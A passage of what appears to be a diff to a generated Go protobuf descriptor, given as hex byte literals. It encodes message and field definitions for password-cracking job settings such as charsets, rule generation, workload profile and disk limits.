0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x12, 0x30, 0x0a, 0x13, - 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, - 0x4d, 0x69, 0x6e, 0x18, 0x5c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, - 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x12, 0x30, - 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, - 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x18, 0x5d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, - 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, - 0x12, 0x32, 0x0a, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, - 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x18, 0x5e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x14, - 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, - 0x63, 0x53, 0x65, 0x6c, 0x12, 0x2c, 0x0a, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, - 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x18, 0x5f, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, - 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, - 0x73, 0x65, 0x74, 0x31, 0x18, 0x60, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, - 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, - 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x18, 0x61, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, - 0x74, 0x32, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, - 0x73, 0x65, 0x74, 0x33, 0x18, 0x62, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, - 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, - 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x18, 0x63, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, - 0x74, 0x34, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x18, 0x64, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x12, 0x1c, - 0x0a, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x65, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x0a, 0x0c, - 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x18, 0x66, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, - 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, - 0x18, 0x67, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, - 0x74, 0x4d, 0x61, 0x78, 0x12, 0x26, 0x0a, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, - 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x53, 0x6c, - 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x12, 0x20, 0x0a, 0x0b, - 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, 0x69, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x12, 0x2a, - 0x0a, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, - 0x65, 0x72, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, - 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, - 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x6b, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, - 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, - 0x72, 0x65, 0x73, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, - 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x12, 0x1c, - 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x6d, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x1c, 0x0a, 0x09, - 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x6e, 0x20, 0x01, 0x28, 0x0d, 0x52, - 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x42, 0x72, - 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x6f, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, - 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x18, 0x70, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x71, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x22, 0x8d, 0x01, 0x0a, 0x0b, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x75, - 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x41, 0x75, - 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, - 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, - 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, - 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, - 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, - 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0x87, 0x01, 0x0a, 0x0a, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x29, 0x0a, 0x05, 0x46, 0x69, 0x6c, - 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x05, 0x46, - 0x69, 0x6c, 0x65, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, - 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, - 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, - 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, - 0x73, 0x61, 0x67, 0x65, 0x22, 0xfb, 0x02, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, - 0x6c, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, - 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, - 0x12, 0x22, 0x0a, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, - 0x66, 0x69, 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x55, 0x6e, 0x63, 0x6f, - 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x03, 0x52, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, - 0x53, 0x69, 0x7a, 0x65, 0x12, 0x19, 0x0a, 0x08, 0x53, 0x68, 0x61, 0x32, 0x5f, 0x32, 0x35, 0x36, - 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x68, 0x61, 0x32, 0x32, 0x35, 0x36, 0x12, - 0x2b, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, - 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, 0x22, 0x0a, 0x0c, - 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x18, 0x08, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, + 0x18, 0x45, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, + 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x61, + 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, + 0x4c, 0x18, 0x46, 0x20, 0x01, 0x28, 0x08, 0x52, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, + 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x12, 0x20, 0x0a, 0x0b, + 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x47, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x26, + 0x0a, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, + 0x18, 0x48, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, + 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, + 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x18, 0x49, 0x20, 0x03, 0x28, + 0x0d, 0x52, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, + 0x79, 0x70, 0x65, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, + 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x4a, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, + 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x34, 0x0a, 0x15, 0x4d, 0x75, + 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, + 0x6c, 0x65, 0x64, 0x18, 0x4b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, + 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, + 0x12, 0x48, 0x0a, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, + 0x69, 0x6c, 0x65, 0x18, 0x4c, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, + 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x0f, 0x57, 0x6f, 0x72, 0x6b, 0x6c, + 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4b, 0x65, + 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x18, 0x4d, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x41, 0x63, 0x63, 0x65, 0x6c, 0x12, 0x20, 0x0a, 0x0b, + 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x18, 0x4e, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0b, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x4c, 0x6f, 0x6f, 0x70, 0x73, 0x12, 0x24, + 0x0a, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, + 0x4f, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x54, 0x68, 0x72, + 0x65, 0x61, 0x64, 0x73, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, + 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, 0x69, 0x64, 0x74, 0x68, 0x18, 0x50, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x56, 0x65, 0x63, 0x74, 0x6f, 0x72, 0x57, + 0x69, 0x64, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, + 0x18, 0x51, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x08, 0x53, 0x70, 0x69, 0x6e, 0x44, 0x61, 0x6d, 0x70, + 0x12, 0x22, 0x0a, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, + 0x18, 0x52, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x44, 0x69, 0x73, + 0x61, 0x62, 0x6c, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x77, 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, + 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x53, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0e, 0x48, 0x77, + 0x6d, 0x6f, 0x6e, 0x54, 0x65, 0x6d, 0x70, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x1e, 0x0a, 0x0a, + 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x18, 0x54, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x0a, 0x53, 0x63, 0x72, 0x79, 0x70, 0x74, 0x54, 0x4d, 0x54, 0x4f, 0x12, 0x12, 0x0a, 0x04, + 0x53, 0x6b, 0x69, 0x70, 0x18, 0x55, 0x20, 0x01, 0x28, 0x04, 0x52, 0x04, 0x53, 0x6b, 0x69, 0x70, + 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x18, 0x56, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, + 0x63, 0x65, 0x18, 0x57, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, + 0x63, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, + 0x5a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, + 0x12, 0x24, 0x0a, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, + 0x73, 0x18, 0x5b, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, + 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, + 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x18, 0x5c, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, + 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, + 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x18, + 0x5d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, + 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x12, 0x32, 0x0a, 0x14, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, + 0x65, 0x6c, 0x18, 0x5e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, + 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x12, 0x2c, + 0x0a, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, + 0x65, 0x65, 0x64, 0x18, 0x5f, 0x20, 0x01, 0x28, 0x05, 0x52, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, + 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, + 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x18, 0x60, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, + 0x73, 0x65, 0x74, 0x31, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, + 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x18, 0x61, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, + 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x12, 0x26, 0x0a, 0x0e, + 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x18, 0x62, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, + 0x73, 0x65, 0x74, 0x33, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, + 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x18, 0x63, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, + 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x12, 0x1a, 0x0a, 0x08, + 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x18, 0x64, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, 0x63, 0x72, + 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x65, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x6e, 0x63, + 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, + 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x18, 0x66, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, + 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, + 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x18, 0x67, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x12, 0x26, + 0x0a, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, + 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, + 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, + 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, 0x69, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, + 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x72, 0x61, 0x69, + 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x6a, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x10, 0x42, 0x72, 